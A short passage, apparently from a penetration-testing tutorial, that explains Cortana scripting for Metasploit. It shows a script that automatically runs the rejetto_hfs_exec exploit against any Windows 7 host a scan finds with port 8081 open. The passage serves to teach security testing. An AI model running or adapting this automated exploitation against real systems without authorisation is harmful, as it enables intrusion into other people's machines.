Scripting a basic attack with Cortana will help us understand Cortana with a much wider approach. So, let's see an example script that automates the exploitation on port 8081 for a Windows OS:
on service_add_8081 { println("Hacking a Host running $1 (" . host_os($1) . ")"); if (host_os($1) eq "Windows 7") { exploit("windows/http/rejetto_hfs_exec", $1, %(RPORT => "8081")); } }
The preceding script will execute when an Nmap or MSF scan finds port 8081 open. The script will check whether the target is running on a Windows 7 system upon which Cortana will automatically attack the host with the rejetto_hfs_exec exploit on port 8081.
In the preceding script, $1 specifies the IP address of the host. print_ln prints out ...